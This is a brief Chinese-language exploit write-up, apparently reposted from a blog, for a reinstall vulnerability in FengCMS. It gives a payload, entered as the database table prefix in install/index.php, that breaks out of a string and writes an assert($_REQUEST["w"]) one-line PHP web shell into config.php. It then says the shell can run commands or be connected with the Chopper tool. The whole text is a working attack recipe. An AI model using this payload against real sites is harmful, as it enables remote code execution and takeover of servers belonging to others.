fengcms重裝漏洞getshell

先看一下原來的config.php fengcms訪問install/index.php到數據庫的設置 將數據表前綴寫成feng');assert($_REQUEST["w"]);//這裏相當於閉合了前面，然後加進去一個一句話的小馬 點擊下一步然後安裝成功 現在看一下config.php的內容 這個地方已經插入了一句話了，可以在主頁直接調用函數命令執行，或者連菜刀

>>阅读原文<<